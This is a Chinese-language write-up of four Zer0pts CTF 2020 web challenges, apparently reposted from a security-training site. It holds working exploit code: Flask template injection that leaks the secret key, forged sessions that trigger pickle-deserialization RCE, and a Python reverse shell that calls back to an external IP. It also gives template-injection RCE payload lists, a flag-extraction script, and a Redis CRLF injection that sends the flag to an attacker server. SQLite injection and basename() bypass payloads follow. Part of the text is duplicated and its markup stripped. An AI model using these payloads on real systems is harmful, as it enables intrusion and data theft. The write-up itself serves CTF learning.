本文来源:Zer0pts CTF 2020的web赛后记录+复现环境
前言
0x01 notepad
1.题目源码:
2.方法一:
处理404页面的page_not_found()函数存在模板注入:
referer可控,但是限制了长度。所以利用这里的SSTI可以读取一些配置,但是不能直接RCE。
响应的结果如下:
得到的secret_key为b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea',因此我们可以伪造session的值。
第二个洞是python反序列化:
flask用的是客户端的session,因此这里的pickle.loads()的参数可控。显然,解题的思路就是用上面我们读到的secret_key伪造session,然后触发pickle反序列化,导致RCE。
payload如下:
3.方法二:
通常python反序列化可以直接反弹shell:
假设题目不能通外网,那么这道题目怎么解决?
在flask中其实也可以在反序列化中再嵌套模板注入来实现直接回显RCE:
由于题目环境是python3因此我们给出下面的几个python3常用的payload:
不过这题还有个问题:
我们return的render_template_string()是传给了data,然后在传入后面的render_template(),并没有直接让请求结束,返回结果。而render_template_string()是个字符串,在index.html模板里遍历输出:
所以我们可以通过这种方式构造回显,结果如下:
由于字符串有多长就会遍历多少次,所以我们的思路是利用显示的长度来进行注入。
如果flag的第一个字符是a,就会遍历输出97个li>。
solve.py:
0x02 MusicBlog
源码里给了个浏览器的bot脚本,worker.js:
该脚本的功能是设置flag在浏览器的UA里,并且点击id为like的标签。
接下来当我们登陆后我们可以在new_post.php的content字段中插入html标签。
但是有过滤,只允许audio>标签。
而audio>受以下CSP的限制,无法跨域请求:
不过我们可以看到上面使用了strip_tags()这个函数,不过这个函数有个bug,参考链接如下:
https://bugs.php.net/bug.php?id=78814
它允许标签里出现斜线,猜测这是为了匹配闭合标签的。但是没有判断斜线的位置,在哪出现都可以:
显然a/udio>在浏览器里会解析成a>标签,而超链接的跳转不受CSP的限制。
payload如下:
而且我们输入的内容是在第一个点赞按钮的上面,因此bot将会点击我们构造的标签。当bot点击我们构造的标签时,将会把flag带出。最后拿到的flag是:zer0pts{M4sh1m4fr3sh!!}。这题还是比较简单的。
0x03 urlapp
方法一:
题目源码:
功能很简单,就是个URL缩短,用redis作存储。
漏洞也是很明显,url可控,可以通过CRLF注入直接操作redis。
现在我们直接用CRLF注入构造一个完整的url,由于最后会重定向因此可以在自己的服务器上收到flag。
脚本如下:
结果如下:
如有什么不明白的可以参考下面的链接。
方法二:
跟上面差不多,不过这次我们不用这么麻烦了直接设置一个上面可以get的键在构造一个可以重定向的url即可。
结果如下:
0x04 phpNantokaAdmin
题目简介:
题目源码:
index.php
util.php
首先我们需要了解三个小知识。
第一个:
我们在使用sqlite语法的时候列名是可以加方括号的,是为了和mysql语法兼容。例如:
第二个:
我们在使用sqlite_master时使用错误的语法,sqlite将会忽略后面列的名称,无论列的名称是否真实的存在,除非在列之间放置,。
第三个:
我们在使用sqlite语法时,用该语句create table ..as select ..创建表时可以不用带括号。例如:
利用第三个知识点,在创建表时可以用as来复制另一个表中的数据。这里我们就可以用as select sql from sqlite_master来复制sqlite_master的sql字段。
还有就是,这里拼接的这一串字符是在as后面的,会影响后面的sql正常执行。
因为后面的$column也是可控的,所以这里可以用as "..."来把这一段干扰字符闭合到查询的别名里。双引号被过滤了,在sqlite中可以用中括号[]来代替。
payload如下:
通过阅读上面的代码,我们唯一可以利用的点是highlight_file(),它可以用来显示代码,我们的目标是利用它来读取config.php文件,由于flag在里面。但是有一个过滤:
由于'/config\.php\/*$/i'的过滤我们就不能直接用/index.php/config.php?source来显示config.php文件。
我们知道$_SERVER['PHP_SELF']是可控的值,相对于根目录。
上面还有一个比较明显的漏洞就是basename()函数,它会忽略后面的[\x80-\xff]范围内的字符串。例子如下:
结合上面的两点,我们的payload如下:
结果如下:
0x06 参考链接:
https://balsn.tw/ctf_writeup/20200307-zer0ptsctf/#notepad
https://security.tencent.com/index.php/blog/msg/106
https://www.mi1k7ea.com/2020/03/05/Redis%E5%AE%89%E5%85%A8%E5%B0%8F%E7%BB%93/
http://redisdoc.com/script/eval.html
https://blog.csdn.net/xiaojin21cen/article/details/88621540
前言
最近打了Zer0pts CTF 2020感觉题目不错就总结一下。
复现环境地址:
https://gitlab.com/zer0pts/zer0pts-ctf-2020/
0x01 notepad
1.题目源码:
...省略... app = flask.Flask(__name__) app.secret_key = os.urandom(16) bootstrap = flask_bootstrap.Bootstrap(app) @app.route('/', methods=['GET']) def index(): return notepad(0) @app.route('/note/int:nid>', methods=['GET']) def notepad(nid=0): data = load() if not 0 = nid len(data): nid = 0 return flask.render_template('index.html', data=data, nid=nid) ...省略... @app.errorhandler(404) def page_not_found(error): """ Automatically go back when page is not found """ referrer = flask.request.headers.get("Referer") if referrer is None: referrer = '/' if not valid_url(referrer): referrer = '/' html = 'html>head>meta http-equiv="Refresh" content="3;URL={}">title>404 Not Found/title>/head>body>Page not found. Redirecting.../body>/html>'.format(referrer) return flask.render_template_string(html), 404 def valid_url(url): """ Check if given url is valid """ host = flask.request.host_url if not url.startswith(host): return False # Not from my server if len(url) - len(host) > 16: return False # Referer may be also 404 return True def load(): """ Load saved notes """ try: savedata = flask.session.get('savedata', None) data = pickle.loads(base64.b64decode(savedata)) except: data = [{"date": now(), "text": "", "title": "*New Note*"}] return data ...省略...
2.方法一:
处理404页面的page_not_found()函数存在模板注入:
@app.errorhandler(404)def page_not_found(error): """ Automatically go back when page is not found """ referrer = flask.request.headers.get("Referer") if referrer is None: referrer = '/' if not valid_url(referrer): referrer = '/' html = 'html>head>meta http-equiv="Refresh" content="3;URL={}">title>404 Not Found/title>/head>body>Page not found. Redirecting.../body>/html>'.format(referrer) return flask.render_template_string(html), 404
referer可控,但是限制了长度。所以利用这里的SSTI可以读取一些配置,但是不能直接RCE。
GET /404 HTTP/1.1 Host: 192.168.0.107:8001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.0.107:8001/?{{config}} Connection: close Upgrade-Insecure-Requests: 1
响应的结果如下:
HTTP/1.0 404 NOT FOUND Content-Type: text/html; charset=utf-8 Content-Length: 1631 Server: Werkzeug/0.16.0 Python/3.7.3rc1 Date: Wed, 18 Mar 2020 17:25:11 GMT html>head>meta http-equiv="Refresh" content="3;URL=http://192.168.220.157:8001/?Config {ENV: production, DEBUG: False, TESTING: False, PROPAGATE_EXCEPTIONS: None, PRESERVE_CONTEXT_ON_EXCEPTION: None, SECRET_KEY: bE\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea, PERMANENT_SESSION_LIFETIME: datetime.timedelta(days=31), USE_X_SENDFILE: False, SERVER_NAME: None, APPLICATION_ROOT: /, SESSION_COOKIE_NAME: session, SESSION_COOKIE_DOMAIN: False, SESSION_COOKIE_PATH: None, SESSION_COOKIE_HTTPONLY: True, SESSION_COOKIE_SECURE: False, SESSION_COOKIE_SAMESITE: None, SESSION_REFRESH_EACH_REQUEST: True, MAX_CONTENT_LENGTH: None, SEND_FILE_MAX_AGE_DEFAULT: datetime.timedelta(seconds=43200), TRAP_BAD_REQUEST_ERRORS: None, TRAP_HTTP_EXCEPTIONS: False, EXPLAIN_TEMPLATE_LOADING: False, PREFERRED_URL_SCHEME: http, JSON_AS_ASCII: True, JSON_SORT_KEYS: True, JSONIFY_PRETTYPRINT_REGULAR: False, JSONIFY_MIMETYPE: application/json, TEMPLATES_AUTO_RELOAD: None, MAX_COOKIE_SIZE: 4093, BOOTSTRAP_USE_MINIFIED: True, BOOTSTRAP_CDN_FORCE_SSL: False, BOOTSTRAP_QUERYSTRING_REVVING: True, BOOTSTRAP_SERVE_LOCAL: False, BOOTSTRAP_LOCAL_SUBDOMAIN: None}">title>404 Not Found/title>/head>body>Page not found. Redirecting.../body>/html>
得到的secret_key为b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea',因此我们可以伪造session的值。
第二个洞是python反序列化:
...import pickle ... @app.route('/note/int:nid>', methods=['GET']) def notepad(nid=0): data = load() if not 0 = nid len(data): nid = 0 return flask.render_template('index.html', data=data, nid=nid) ... def load(): """ Load saved notes """ try: savedata = flask.session.get('savedata', None) data = pickle.loads(base64.b64decode(savedata)) except: data = [{"date": now(), "text": "", "title": "*New Note*"}] return data ...
flask用的是客户端的session,因此这里的pickle.loads()的参数可控。显然,解题的思路就是用上面我们读到的secret_key伪造session,然后触发pickle反序列化,导致RCE。
payload如下:
from flask.sessions import SecureCookieSessionInterfaceimport os, sys, pickle, base64, requests COMMAND = "bash -c 'bash -i >
3.方法二:
通常python反序列化可以直接反弹shell:
import osimport pickle class Exp(object): def __reduce__(self): cmd = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.220.157",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'""" return (os.system, (cmd,)) exp = Exp() result = pickle.dumps(exp) print(result) data=pickle.loads(result) print(data)
假设题目不能通外网,那么这道题目怎么解决?
在flask中其实也可以在反序列化中再嵌套模板注入来实现直接回显RCE:
class Exp(object): def __reduce__(self): return ( render_template_string,("{{payload}}",) )
由于题目环境是python3因此我们给出下面的几个python3常用的payload:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__ #eval ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") #__import__ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read() ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
不过这题还有个问题:
@app.route('/note/int:nid>', methods=['GET'])def notepad(nid=0): data = load() if not 0 = nid len(data): nid = 0 return flask.render_template('index.html', data=data, nid=nid)
我们return的render_template_string()是传给了data,然后在传入后面的render_template(),并没有直接让请求结束,返回结果。而render_template_string()是个字符串,在index.html模板里遍历输出:
ul class="nav nav-list affix"> {% for note in data %} li{% if loop.index0 == nid %} class="active"{% endif %}>a href="/note/{{ loop.index0 }}">{{note.title}}/a>/li> {% endfor %} hr> li>a href="/reset" class="btn btn-danger">Reset All/a>/li> /ul>
所以我们可以通过这种方式构造回显,结果如下:
由于字符串有多长就会遍历多少次,所以我们的思路是利用显示的长度来进行注入。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("ord(__import__('os').popen('cat flag').read()[0])*'a'") }}{% endif %}{% endfor %}
如果flag的第一个字符是a,就会遍历输出97个li>。
solve.py:
from flask.sessions import SecureCookieSessionInterfaceimport os, sys, pickle, base64, requests from flask import render_template_string import re class Exploit(object): def __init__(self, pos): self.temp = """ {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].eval("ord(__import__('os').popen('cat flag').read()[pos])*'a'") }} {% endif %} {% endfor %} """.replace('pos', pos) def __reduce__(self): return ( render_template_string, (self.temp,)) class App(object): def __init__(self): self.secret_key = None app = App() app.secret_key = b'S^\x94\xa0\x05\xa3\xf4\x91\x052$\xd3\x86gX\xc2' si = SecureCookieSessionInterface() serializer = si.get_signing_serializer(app) regex=r'li>a href="/note/(\d+)">.*/a>/li>' flag='' for i in range(0,40): session = serializer.dumps({'savedata': base64.b64encode(pickle.dumps(Exploit(str(i))))}) resp=requests.get('http://192.168.220.157:8001/', cookies={ 'session': session }); find=re.findall(regex,resp.text) print(find) if find: flag+=chr(int(find[find.__len__()-1])+1) print(flag)
0x02 MusicBlog
源码里给了个浏览器的bot脚本,worker.js:
// (snipped) const flag = 'zer0pts{censored>}'; // (snipped) const crawl = async (url) => { console.log(`[+] Query! (${url})`); const page = await browser.newPage(); try { await page.setUserAgent(flag); await page.goto(url, { waitUntil: 'networkidle0', timeout: 10 * 1000, }); await page.click('#like'); } catch (err){ console.log(err); } await page.close(); console.log(`[+] Done! (${url})`) }; // (snipped)
该脚本的功能是设置flag在浏览器的UA里,并且点击id为like的标签。
接下来当我们登陆后我们可以在new_post.php的content字段中插入html标签。
form action="/new_post.php" method="POST"> div class="form-group"> label for="title">Title/label> input type="text" class="form-control" id="title" name="title"> small class="form-text text-muted">format: code>/^[0-9A-Za-z ]+$//code>/small> /div> div class="form-group"> label for="content">Content/label> textarea class="form-control" id="content" name="content" rows="5">/textarea> small class="form-text text-muted">Note: code>[[URL]]/code> will be replaced by audio player./small> /div> /form>
但是有过滤,只允许audio>标签。
?php// [[URL]] → audio src="URL">/audio> function render_tags($str) { $str = preg_replace('/\[\[(.+?)\]\]/', 'audio controls src="\\1">/audio>', $str); $str = strip_tags($str, 'audio>'); // only allows `audio>` return $str; }
而audio>受以下CSP的限制,无法跨域请求:
?phperror_reporting(0); require_once 'config.php'; require_once 'util.php'; $nonce = get_nonce(); header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types"); header('X-Frame-Options: DENY'); header('X-XSS-Protection: 1; mode=block'); session_start();
不过我们可以看到上面使用了strip_tags()这个函数,不过这个函数有个bug,参考链接如下:
https://bugs.php.net/bug.php?id=78814
它允许标签里出现斜线,猜测这是为了匹配闭合标签的。但是没有判断斜线的位置,在哪出现都可以:
root@kali:~# php -r "var_dump(strip_tags('a/udio>','audio>'));" string(8) "a/udio>"
显然a/udio>在浏览器里会解析成a>标签,而超链接的跳转不受CSP的限制。
payload如下:
a/udio id=like href=//xxx.xx/>x
而且我们输入的内容是在第一个点赞按钮的上面,因此bot将会点击我们构造的标签。当bot点击我们构造的标签时,将会把flag带出。最后拿到的flag是:zer0pts{M4sh1m4fr3sh!!}。这题还是比较简单的。
0x03 urlapp
方法一:
题目源码:
...省略... def connect() sock = TCPSocket.open("redis", 6379) if not ping(sock) then exit end return sock end def query(sock, cmd) sock.write(cmd + "rn") end def recv(sock) data = sock.gets if data == nil then return nil elsif data[0] == "+" then return data[1..-1].strip elsif data[0] == "$" then if data == "$-1rn" then return nil end return sock.gets.strip end return nil end def ping(sock) query(sock, "ping") return recv(sock) == "PONG" end def set(sock, key, value) query(sock, "SET #{key} #{value}") return recv(sock) == "OK" end def get(sock, key) query(sock, "GET #{key}") return recv(sock) end before do sock = connect() set(sock, "flag", File.read("flag.txt").strip) end get '/' do if params.has_key?(:q) then q = params[:q] if not (q =~ /^[0-9a-f]{16}$/) return end sock = connect() url = get(sock, q) redirect url end send_file 'index.html' end post '/' do if not params.has_key?(:url) then return end url = params[:url] if not (url =~ URI.regexp) then return end key = Random.urandom(8).unpack("H*")[0] sock = connect() set(sock, key, url) "#{request.host}:#{request.port}/?q=#{key}" end
功能很简单,就是个URL缩短,用redis作存储。
漏洞也是很明显,url可控,可以通过CRLF注入直接操作redis。
现在我们直接用CRLF注入构造一个完整的url,由于最后会重定向因此可以在自己的服务器上收到flag。
脚本如下:
import requests url='http://192.168.220.154:8004/' query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n'} r = requests.post(url, data=query) code = r.content[-16:] print code p1 = "SCRIPT LOAD \"redis.call('APPEND', KEYS[2], redis.call('GET', KEYS[1])); return 1;\"\r\n" p2 = "EVALSHA 7614be2a5fac38857cd5a98f26d710f988d1b25f 2 flag {}\r\n".format(code) query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n' + p1 + p2} r = requests.post(url, data=query) r = requests.get(url + '?q={}'.format(code)) # script load "redis.call('APPEND',KEYS[2],redis.call('GET',KEYS[1])); return 1;" # evalsha 2e6ae1cf12eb9f6554360ede553f0a4bcf8e79ab 2 flag 3bd874b8c5dafc18
结果如下:
Listening on [0.0.0.0] (family 0, port 5478) Connection from [58.16.191.108] port 5478 [tcp/*] accepted (family 2, sport 36352) GET /?q=Zer0pts%7Bsh0rt_t0_10ng_10ng_t0_sh0rt%7D HTTP/1.1 Host: xxx.xxx.xxx.xxx:xxxx Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.22.0
如有什么不明白的可以参考下面的链接。
方法二:
跟上面差不多,不过这次我们不用这么麻烦了直接设置一个上面可以get的键在构造一个可以重定向的url即可。
import requests url = 'http://192.168.220.154:8004/' query = { 'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n'+'eval "redis.call(\'set\',\'e41cf0f94e050661\',\'http://xxx.xxx.xxx.xxx:xxxx?\'..redis.call(\'get\',\'flag\'));return 1;" 0' } r = requests.post(url, data=query) code = r.content[-16:] print code r=requests.get('http://192.168.220.154:8004/?q=e41cf0f94e050661') print r.url
结果如下:
Listening on [0.0.0.0] (family 0, port 5478) Connection from [58.16.191.108] port 5478 [tcp/*] accepted (family 2, sport 36741) GET /?Zer0pts%7Bsh0rt_t0_10ng_10ng_t0_sh0rt%7D HTTP/1.1 Host: xxx.xxx.xxx.xxx:xxxx Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.22.0
0x04 phpNantokaAdmin
题目简介:
phpNantokaAdmin is a management tool for SQLite.
题目源码:
index.php
?phpinclude 'util.php'; include 'config.php'; error_reporting(0); session_start(); $method = (string) ($_SERVER['REQUEST_METHOD'] ?? 'GET'); $page = (string) ($_GET['page'] ?? 'index'); ...省略... if (in_array($page, ['insert', 'delete']) } if (isset($_SESSION['database'])) { $pdo = new PDO('sqlite:db/' . $_SESSION['database']); $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name > '" . FLAG_TABLE . "' LIMIT 1;"); $table_name = $stmt->fetch(PDO::FETCH_ASSOC)['name']; $stmt = $pdo->query("PRAGMA table_info(`{$table_name}`);"); $column_names = $stmt->fetchAll(PDO::FETCH_ASSOC); } if ($page === 'insert' $stmt = $pdo->prepare("INSERT INTO `{$table_name}` VALUES (?" . str_repeat(',?', count($column_names) - 1) . ")"); $stmt->execute($values); redirect('?page=index'); } if ($page === 'create' } $table_name = (string) $_POST['table_name']; $columns = $_POST['columns']; $filename = bin2hex(random_bytes(16)) . '.db'; $pdo = new PDO('sqlite:db/' . $filename); if (!is_valid($table_name)) { flash('Table name contains dangerous characters.'); } ...省略... $sql = "CREATE TABLE {$table_name} ("; $sql .= "dummy1 TEXT, dummy2 TEXT"; for ($i = 0; $i count($columns); $i++) { $column = (string) ($columns[$i]['name'] ?? ''); $type = (string) ($columns[$i]['type'] ?? ''); if (!is_valid($column) || !is_valid($type)) { flash('Column name or type contains dangerous characters.'); } if (strlen($column) 1 || 32 strlen($column) || strlen($type) 1 || 32 strlen($type)) { flash('Column name and type must be 1-32 characters.'); } $sql .= ', '; $sql .= "`$column` $type"; } $sql .= ');'; $pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);'); $pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");'); $pdo->query($sql); $_SESSION['database'] = $filename; redirect('?page=index'); } ...省略... if ($page === 'index' "); if ($stmt === FALSE) { $_SESSION = array(); session_destroy(); redirect('?page=index'); } $result = $stmt->fetchAll(PDO::FETCH_NUM); } ?> !doctype html> html lang="en"> ...省略... ?php if ($page === 'index') { ?> ?php if (isset($_SESSION['database'])) { ?> h2>?= e($table_name) ?> (a href="?page=delete">Delete table/a>)/h2> form action="?page=insert" method="POST"> table> tr> ?php for ($i = 0; $i count($column_names); $i++) { ?> th>?= e($column_names[$i]['name']) ?>/th> ?php } ?> /tr> ?php for ($i = 0; $i count($result); $i++) { ?> tr> ?php for ($j = 0; $j count($result[$i]); $j++) { ?> td>?= e($result[$i][$j]) ?>/td> ?php } ?> /tr> ?php } ?> tr> ...省略...
util.php
?php...省略... function is_valid($string) { $banword = [ // comment out, calling function... "[\"#'()*,\\/\\\\`-]" ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $string)) { return false; } return true; }
首先我们需要了解三个小知识。
第一个:
我们在使用sqlite语法的时候列名是可以加方括号的,是为了和mysql语法兼容。例如:
select [sql] from sqlite_master;
第二个:
我们在使用sqlite_master时使用错误的语法,sqlite将会忽略后面列的名称,无论列的名称是否真实的存在,除非在列之间放置,。
create table sometbl (somecol INT); insert into sometbl values(1); select somecol from sometbl; // 1 select somecol somecoaaaal from sometbl; // 1
第三个:
我们在使用sqlite语法时,用该语句create table ..as select ..创建表时可以不用带括号。例如:
create table sometbl2 as select 2; select * from sometbl2; 2
通过阅读上面的源代码,我们发现table_name和columns参数存在SQL注入,但是我们不知道flag的表名和列名。每个sqlite都有一个自动创建的库sqlite_master,里面保存了所有表名以及创建表时的create语句。我们可以从中获取到flag的表名和字段名。
利用第三个知识点,在创建表时可以用as来复制另一个表中的数据。这里我们就可以用as select sql from sqlite_master来复制sqlite_master的sql字段。
还有就是,这里拼接的这一串字符是在as后面的,会影响后面的sql正常执行。
因为后面的$column也是可控的,所以这里可以用as "..."来把这一段干扰字符闭合到查询的别名里。双引号被过滤了,在sqlite中可以用中括号[]来代替。
payload如下:
table_name=aaa as select sql as[?phpinclude 'config.php'; // FLAG is defined in config.php if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); } if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); } $secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } ?> ...省略...
通过阅读上面的代码,我们唯一可以利用的点是highlight_file(),它可以用来显示代码,我们的目标是利用它来读取config.php文件,由于flag在里面。但是有一个过滤:
?phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); }
由于'/config\.php\/*$/i'的过滤我们就不能直接用/index.php/config.php?source来显示config.php文件。
我们知道$_SERVER['PHP_SELF']是可控的值,相对于根目录。
上面还有一个比较明显的漏洞就是basename()函数,它会忽略后面的[\x80-\xff]范围内的字符串。例子如下:
php -r 'print(basename("index.php/config.php/\x80"));' // config.php php -r 'print(basename("\x80index.php/config.php"));' // config.php
结合上面的两点,我们的payload如下:
http://3.112.201.75:8003/index.php/config.php/%80?source
结果如下:
?phpdefine('FLAG', 'zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}');
0x06 参考链接:
https://balsn.tw/ctf_writeup/20200307-zer0ptsctf/#notepad
https://security.tencent.com/index.php/blog/msg/106
https://www.mi1k7ea.com/2020/03/05/Redis%E5%AE%89%E5%85%A8%E5%B0%8F%E7%BB%93/
http://redisdoc.com/script/eval.html
https://blog.csdn.net/xiaojin21cen/article/details/88621540
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!
转载请注明来自网盾网络安全培训,本文标题:《Zer0pts CTF 2020的web赛后记录+复现环境》
标签:CTF
- 上一篇: 直播课堂|爱加密等保专题系列讲座第二期
- 下一篇: 关于钓鱼邮件,你知道多少?
- 关于我们